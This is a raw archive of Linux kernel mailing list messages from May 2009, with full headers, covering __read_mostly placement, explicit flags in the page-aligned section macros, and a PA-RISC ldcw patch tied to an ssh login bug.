References: <1241119956-31453-1-git-send-email-tabbott@mit.edu> <1241119956-31453-2-git-send-email-tabbott@mit.edu> <1241119956-31453-3-git-send-email-tabbott@mit.edu> <1241119956-31453-4-git-send-email-tabbott@mit.edu> <1241119956-31453-5-git-send-email-tabbott@mit.edu>
 <1241119956-31453-6-git-send-email-tabbott@mit.edu> <1241119956-31453-7-git-send-email-tabbott@mit.edu> <20090501094407.GD18326@uranus.ravnborg.org>
Reply-To: microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1241190597 29668 80.91.229.12 (1 May 2009 15:09:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 15:09:57 +0000 (UTC)
Cc: Tim Abbott <tabbott-DPNOqEs/LNQ@public.gmane.org>, Anders Kaseorg <andersk-DPNOqEs/LNQ@public.gmane.org>,
        Waseem Daher <wdaher-DPNOqEs/LNQ@public.gmane.org>,
        Denys Vlasenko <vda.linux-gM/Ye1E23mwN+BqQ9rBEUg@public.gmane.org>,
        Jeff Arnold <jbarnold-DPNOqEs/LNQ@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Bryan Wu <cooloney-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>,
        Cyrill Gorcunov <gorcunov-GEFAQzZX7r8dnm+yROfE0A@public.gmane.org>,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        "David S. Miller" <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>, dev-etrax-VrBV9hrLPhE@public.gmane.org,
        Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
        Greg Ungerer <gerg-JBU5SbJe1FlAfugRpC6u6w@public.gmane.org>,
        Haavard Skinnemoen <hskinnemoen-AIFe0yeh4nAAvxtiuMwx3w@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, Hirokazu Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>, Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Jeff Dike <jdike-OPE4K8JWMJJBDgjK7y7TUQ@public.gmane.org>,
        Jesper Nilsso
To: Sam Ravnborg <sam-uyr5N9Q2VtJg9hUCZPvPmw@public.gmane.org>
Original-X-From: owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org Fri May 01 17:09:37 2009
Return-path: <owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>
Envelope-to: glum-microblaze-uclinux-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from mailhub4.uq.edu.au ([130.102.149.131])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzuMo-0006FT-Hz
	for glum-microblaze-uclinux-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Fri, 01 May 2009 17:09:35 +0200
Original-Received: from smtp4.uq.edu.au (smtp4.uq.edu.au [130.102.128.19])
	by mailhub4.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41F8iT5003180;
	Sat, 2 May 2009 01:08:44 +1000
Original-Received: from mailhub.itee.uq.edu.au (extmail-241.itee.uq.edu.au [130.102.79.241])
	by smtp4.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41F8eNx008785
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sat, 2 May 2009 01:08:41 +1000
Original-Received: from gum.itee.uq.edu.au (gum.itee.uq.edu.au [130.102.66.1])
	by mailhub.itee.uq.edu.au (8.14.3/8.14.3) with ESMTP id n41F6Yn1010687;
	Sat, 2 May 2009 01:07:42 +1000 (EST)
Original-Received: from gum.itee.uq.edu.au (localhost.itee.uq.edu.au [127.0.0.1])
	by gum.itee.uq.edu.au (8.13.1/8.13.1) with ESMTP id n41F3WOe024691
	for <microblaze-uclinux-outgoing-/Rdr+DW8qTrcpvZZ8pFdvhCuuivNXqWP@public.gmane.org>; Sat, 2 May 2009 01:03:32 +1000
Original-Received: (from majordom@localhost)
	by gum.itee.uq.edu.au (8.13.1/8.13.1/Submit) id n41F3Wkh024686
	for microblaze-uclinux-outgoing; Sat, 2 May 2009 01:03:32 +1000
Original-Received: from mailhub.itee.uq.edu.au (extmail-241.itee.uq.edu.au [130.102.79.241])
	by gum.itee.uq.edu.au (8.13.1/8.13.1) with ESMTP id n41F2sL6024362
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 01:02:54 +1000
Original-Received: from mailhub4.uq.edu.au (mailhub4.uq.edu.au [130.102.149.131])
	by mailhub.itee.uq.edu.au (8.14.3/8.14.3) with ESMTP id n41F2g9E030572
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 01:02:42 +1000 (EST)
Original-Received: from smtp3.uq.edu.au (smtp3.uq.edu.au [130.102.128.18])
	by mailhub4.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41F2gV8032088
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 01:02:42 +1000
Original-Received: from uqexav01.soe.uq.edu.au (uqexav01.soe.uq.edu.au [130.102.4.248])
	by smtp3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41F2gNo019336
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 01:02:42 +1000
Original-Received: from uqexav01.soe.uq.edu.au ([130.102.4.250]) by uqexav01.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 01:02:42 +1000
Original-Received: from uqeximf01.soe.uq.edu.au ([130.102.6.16]) by uqexav01.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 01:02:41 +1000
Original-Received: from uqeximf01.soe.uq.edu.au ([130.102.6.16]) by uqeximf01.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 01:02:41 +1000
Original-Received: from mailhub3.uq.edu.au ([130.102.148.131]) by uqeximf01.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 01:02:41 +1000
Original-Received: from mx1.uq.edu.au (mx1.uq.edu.au [203.101.255.13])
	by mailhub3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41F2cHU025241
	for <microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org>; Sat, 2 May 2009 01:02:39 +1000
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AvwCABms+klK1a7+mWdsb2JhbACWZgEBAQEBCAsKBxG4c4N9BQ
X-IronPort-AV: E=Sophos;i="4.40,278,1238940000"; 
   d="scan'208";a="9742829"
Original-Received: from smtp.ultrahosting.com ([74.213.174.254])
  by mx1.uq.edu.au with ESMTP; 02 May 2009 01:02:37 +1000
Original-Received: from localhost (smtp.ultrahosting.com [127.0.0.1])
	by smtp.ultrahosting.com (Postfix) with ESMTP id DC45B82C4F8
	for <microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org>; Fri,  1 May 2009 11:13:59 -0400 (EDT)
X-Virus-Scanned: amavisd-new at ultrahosting.com
Original-Received: from smtp.ultrahosting.com ([74.213.174.254])
	by localhost (smtp.ultrahosting.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id NBum7HNBeiKG for <microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org>;
	Fri,  1 May 2009 11:13:59 -0400 (EDT)
Original-Received: from qirst.com (unknown [74.213.171.31])
	by smtp.ultrahosting.com (Postfix) with ESMTP id 62EB582C505
	for <microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org>; Fri,  1 May 2009 11:13:51 -0400 (EDT)
Original-Received: from cl (helo=localhost)
	by qirst.com with local-esmtp (Exim 4.69)
	(envelope-from <cl-vYTEC60ixJUAvxtiuMwx3w@public.gmane.org>)
	id 1LztA2-0003YL-MS; Fri, 01 May 2009 09:52:18 -0400
X-X-Sender: cl-k2KMSsJkWwAAvxtiuMwx3w@public.gmane.org
In-Reply-To: <20090501094407.GD18326-QabhHTsIXMSnlFQ6Q1D1Y0B+6BGkLq7r@public.gmane.org>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-UQ-FilterTime: 1241190524
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.149.131
X-Scanned-By: MIMEDefang 2.64 on 130.102.79.245
X-Scanned-By: MIMEDefang 2.64 on 130.102.79.245
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.149.131
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.148.131
X-OriginalArrivalTime: 01 May 2009 15:02:41.0335 (UTC) FILETIME=[DFE51C70:01C9CA6D]
X-Spam-Score: 0.01 () LOCAL_MUST_ACT
X-ITEE-Spam-Score: 0.01 () LOCAL_MUST_ACT
X-ITEE-Spam-Score: -0.99 () LOCAL_MUST_ACT,RCVD_IN_DNSWL_LOW
Original-Sender: owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org
Precedence: bulk
Xref: news.gmane.org gmane.linux.uclinux.microblaze:8592 gmane.linux.ports.alpha:528 gmane.linux.ports.arm.kernel:57273 gmane.linux.ports.ia64:20329 gmane.linux.ports.m68k:699 gmane.linux.ports.mips.general:23620 gmane.linux.ports.parisc:1612 gmane.linux.ports.ppc64.devel:55741 gmane.linux.ports.sh.devel:5873 gmane.linux.ports.sparc:11558 gmane.linux.hardware.blackfin.kernel.devel:1366 gmane.linux.uml.devel:12190
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1612>

On Fri, 1 May 2009, Sam Ravnborg wrote:

> Are there any specific reason why we do not support read_mostly on all
> architectures?

Not that I know of.

> read_mostly is about grouping rarely written data together
> so what is needed is to introduce this section in the remaining
> archtectures.
>
> Christoph - git log says you did the inital implmentation.
> Do you agree?

Yes.

There is some concern that __read_mostly is needlessly applied to
numerous variables that are not used in hot code paths. This may make
__read_mostly ineffective and actually increase the cache footprint of a
function since global variables are no longer in the same cacheline. If
such a function is called and the caches are cold then two cacheline
fetches have to be done instead of one.



From - Thu Nov 08 21:04:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.uclinux.microblaze,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: Re: [PATCH v2 1/6] Add new macros for page-aligned data and bss sections.
Date: Fri, 01 May 2009 09:33:13 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <49FB2449.1010301@zytor.com>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu> <1241121253-32341-2-git-send-email-tabbott@mit.edu> <20090501091848.GB18326@uranus.ravnborg.org> <alpine.DEB.1.10.0905010951100.3955@vinegar-pot.mit.edu>
Reply-To: microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241196519 18236 80.91.229.12 (1 May 2009 16:48:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 16:48:39 +0000 (UTC)
Cc: Sam Ravnborg <sam-uyr5N9Q2VtJg9hUCZPvPmw@public.gmane.org>,
        Linux kernel mailing list <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Anders Kaseorg <andersk-DPNOqEs/LNQ@public.gmane.org>, Waseem Daher <wdaher-DPNOqEs/LNQ@public.gmane.org>,
        Denys Vlasenko <vda.linux-gM/Ye1E23mwN+BqQ9rBEUg@public.gmane.org>,
        Jeff Arnold <jbarnold-DPNOqEs/LNQ@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Bryan Wu <cooloney-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>,
        Cyrill Gorcunov <gorcunov-GEFAQzZX7r8dnm+yROfE0A@public.gmane.org>,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        "David S. Miller" <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>, dev-etrax-VrBV9hrLPhE@public.gmane.org,
        Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
        Greg Ungerer <gerg-JBU5SbJe1FlAfugRpC6u6w@public.gmane.org>,
        Haavard Skinnemoen <hskinnemoen-AIFe0yeh4nAAvxtiuMwx3w@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, Hirokazu Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>,
        Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Jeff Dike <jdike@addtoit.
To: Tim Abbott <tabbott-DPNOqEs/LNQ@public.gmane.org>
Original-X-From: owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org Fri May 01 18:48:20 2009
Return-path: <owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>
Envelope-to: glum-microblaze-uclinux-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from mailhub3.uq.edu.au ([130.102.148.131])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzvuL-0003nP-RJ
	for glum-microblaze-uclinux-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Fri, 01 May 2009 18:48:18 +0200
Original-Received: from smtp3.uq.edu.au (smtp3.uq.edu.au [130.102.128.18])
	by mailhub3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41GlVYa031146;
	Sat, 2 May 2009 02:47:31 +1000
Original-Received: from mailhub.itee.uq.edu.au (extmail-241.itee.uq.edu.au [130.102.79.241])
	by smtp3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41GlUpM003730
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sat, 2 May 2009 02:47:31 +1000
Original-Received: from gum.itee.uq.edu.au (gum.itee.uq.edu.au [130.102.66.1])
	by mailhub.itee.uq.edu.au (8.14.3/8.14.3) with ESMTP id n41GkcPV014452;
	Sat, 2 May 2009 02:47:03 +1000 (EST)
Original-Received: from gum.itee.uq.edu.au (localhost.itee.uq.edu.au [127.0.0.1])
	by gum.itee.uq.edu.au (8.13.1/8.13.1) with ESMTP id n41Gh9gI011034
	for <microblaze-uclinux-outgoing-/Rdr+DW8qTrcpvZZ8pFdvhCuuivNXqWP@public.gmane.org>; Sat, 2 May 2009 02:43:09 +1000
Original-Received: (from majordom@localhost)
	by gum.itee.uq.edu.au (8.13.1/8.13.1/Submit) id n41Gh8oY011033
	for microblaze-uclinux-outgoing; Sat, 2 May 2009 02:43:08 +1000
Original-Received: from mailhub.itee.uq.edu.au (extmail-240.itee.uq.edu.au [130.102.79.240])
	by gum.itee.uq.edu.au (8.13.1/8.13.1) with ESMTP id n41Ggqx4011018
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 02:42:52 +1000
Original-Received: from mailhub3.uq.edu.au (mailhub3.uq.edu.au [130.102.148.131])
	by mailhub.itee.uq.edu.au (8.14.3/8.14.3) with ESMTP id n41Gge4c012128
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 02:42:40 +1000 (EST)
Original-Received: from smtp3.uq.edu.au (smtp3.uq.edu.au [130.102.128.18])
	by mailhub3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41Ggdiq002495
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 02:42:39 +1000
Original-Received: from uqexav02.soe.uq.edu.au (uqexav02.soe.uq.edu.au [130.102.4.249])
	by smtp3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41Ggd8J010332
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Sat, 2 May 2009 02:42:39 +1000
Original-Received: from uqexav02.soe.uq.edu.au ([130.102.4.251]) by uqexav02.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 02:42:39 +1000
Original-Received: from uqeximf02.soe.uq.edu.au ([130.102.6.17]) by uqexav02.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 02:42:39 +1000
Original-Received: from uqeximf02.soe.uq.edu.au ([130.102.6.17]) by uqeximf02.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 02:42:39 +1000
Original-Received: from mailhub4.uq.edu.au ([130.102.149.131]) by uqeximf02.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Sat, 2 May 2009 02:42:39 +1000
Original-Received: from mx1.uq.edu.au (mx1.uq.edu.au [203.101.255.13])
	by mailhub4.uq.edu.au (8.13.8/8.13.8) with ESMTP id n41Ggdum026164
	for <microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org>; Sat, 2 May 2009 02:42:39 +1000
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: Ai8DAHTD+knGicoKmWdsb2JhbACBUJUVAQEBAQEICwoHEbhxg30Fh3Y
X-IronPort-AV: E=Sophos;i="4.40,279,1238940000"; 
   d="scan'208";a="9746454"
Original-Received: from terminus.zytor.com ([198.137.202.10])
  by mx1.uq.edu.au with ESMTP; 02 May 2009 02:42:38 +1000
Original-Received: from mail.hos.anvin.org (c-98-210-181-100.hsd1.ca.comcast.net [98.210.181.100])
	(authenticated bits=0)
	by terminus.zytor.com (8.14.3/8.14.1) with ESMTP id n41GXTOq020302
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 1 May 2009 09:33:29 -0700
Original-Received: from tazenda.hos.anvin.org (tazenda.hos.anvin.org [172.27.0.16])
	by mail.hos.anvin.org (8.14.2/8.13.8) with ESMTP id n41GXS9r009009;
	Fri, 1 May 2009 09:33:28 -0700
Original-Received: from tazenda.hos.anvin.org (localhost.localdomain [127.0.0.1])
	by tazenda.hos.anvin.org (8.14.3/8.13.6) with ESMTP id n41GXD72013573;
	Fri, 1 May 2009 09:33:13 -0700
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <alpine.DEB.1.10.0905010951100.3955-KERi1O17UK+7LhyUQnA0IJVzexx5G7lz@public.gmane.org>
X-Virus-Scanned: ClamAV 0.94.2/9309/Thu Apr 30 20:55:03 2009 on terminus.zytor.com
X-Virus-Status: Clean
X-UQ-FilterTime: 1241196452
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.148.131
X-Scanned-By: MIMEDefang 2.64 on 130.102.79.245
X-Scanned-By: MIMEDefang 2.64 on 130.102.79.244
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.148.131
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.149.131
X-OriginalArrivalTime: 01 May 2009 16:42:39.0317 (UTC) FILETIME=[D6F88850:01C9CA7B]
X-Spam-Score: 0 () 
X-ITEE-Spam-Score: 0 () 
X-ITEE-Spam-Score: -1 () RCVD_IN_DNSWL_LOW
Original-Sender: owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org
Precedence: bulk
Xref: news.gmane.org gmane.linux.uclinux.microblaze:8593 gmane.linux.kernel:830863 gmane.linux.ports.alpha:529 gmane.linux.ports.ia64:20330 gmane.linux.ports.m68k:700 gmane.linux.ports.mips.general:23622 gmane.linux.ports.parisc:1613 gmane.linux.ports.ppc64.devel:55745 gmane.linux.ports.sh.devel:5874 gmane.linux.ports.sparc:11559 gmane.linux.hardware.blackfin.kernel.devel:1367 gmane.linux.uml.devel:12191
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1613>

Tim Abbott wrote:
> On Fri, 1 May 2009, Sam Ravnborg wrote:
> 
>> On Thu, Apr 30, 2009 at 03:54:08PM -0400, Tim Abbott wrote:
>>> +#define __PAGE_ALIGNED_DATA	.section ".data.page_aligned", "aw", @progbits
>>> +#define __PAGE_ALIGNED_BSS	.section ".bss.page_aligned", "aw", @nobits
>> It is my understanding that the linker will automatically
>> assume nobits for section names starting with .bss and likewise
>> progbits for section names starting with .data - so we can leave them out?
> 
> I believe that is correct.
> 

... but that doesn't mean it's the right thing to do.

It's better to be fully explicit when macroizing this kind of stuff.
This is part of why macroizing it is good: it means we end up with *one*
place that determines this stuff, not some magic heuristics in the linker.

	-hpa

-- 
H. Peter Anvin, Intel Open Source Technology Center
I work for Intel.  I don't speak on their behalf.


From - Thu Nov 08 21:04:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix ldcw inline assembler
Date: Fri, 1 May 2009 13:14:08 -0400 (EDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <20090501171409.601AF4E9F@hiauly1.hia.nrc.ca>
References: <20090501014714.7804E4FC4@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241198075 23145 80.91.229.12 (1 May 2009 17:14:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 17:14:35 +0000 (UTC)
Cc: kyle@mcmartin.ca, deller@gmx.de, linux-parisc@vger.kernel.org,
	varenet@debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 01 19:14:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzwJc-0008Ol-PD
	for glpp-linux-parisc@gmane.org; Fri, 01 May 2009 19:14:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751604AbZEAROM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 May 2009 13:14:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754109AbZEAROL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 May 2009 13:14:11 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4427 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751604AbZEAROK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 May 2009 13:14:10 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 601AF4E9F; Fri,  1 May 2009 13:14:08 -0400 (EDT)
In-Reply-To: <20090501014714.7804E4FC4@hiauly1.hia.nrc.ca> from "John David Anglin" at Apr 30, 2009 09:47:13 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1614
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1614>

> > On Thu, Apr 30, 2009 at 11:39:45PM +0200, Helge Deller wrote:
> > > This "fix ldcw assembler" patch below is really an old one now, but sadly it never got applied.
> > > 
> > > I just tried it again. Without this patch I always see login-problems when ssh-ing into
> > > my parisc box. The very first time sshd just drops the connection (Connection closed by remote host).
> > > With this patch I didn't faced this problem again.
> > > 
> > > I'm wondering, if not other userspace problems suddenly go away then as well,
> > > e.g. the uid/gid issues others are seeing:
> > > http://marc.info/?l=linux-parisc&m=121114269417948&w=2
> > > 
> > > Kyle, please apply.
> > > 
> > 
> > gotcha.
> 
> Kyle, can you try and push it into 2.6.30?  It fixes a major security hole.
> 
> I've tried it with 2.6.30-rc4 on my c3750 and agree with Helge that it
> fixes the ssh bug that I had on this machine.

Sorry, I should not have pushed for 2.6.30.  The ssh bug is still present
on my c3750.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: Re: [PATCH v2 1/6] Add new macros for page-aligned data and bss sections.
Date: Fri, 1 May 2009 19:17:17 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20090501171717.GA26401@uranus.ravnborg.org>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu> <1241121253-32341-2-git-send-email-tabbott@mit.edu> <20090501091848.GB18326@uranus.ravnborg.org> <alpine.DEB.1.10.0905010951100.3955@vinegar-pot.mit.edu> <49FB2449.1010301@zytor.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241198160 23462 80.91.229.12 (1 May 2009 17:16:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 17:16:00 +0000 (UTC)
Cc: Tim Abbott <tabbott@MIT.EDU>,
	Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@MIT.EDU>,
	Waseem Daher <wdaher@MIT.EDU>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@MIT.EDU>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Ingo Molnar <mingo@redhat.com>, Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <torv
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri May 01 19:15:43 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzwKr-0000i8-G5
	for sgi-linux-mips@gmane.org; Fri, 01 May 2009 19:15:41 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:49030 "EHLO
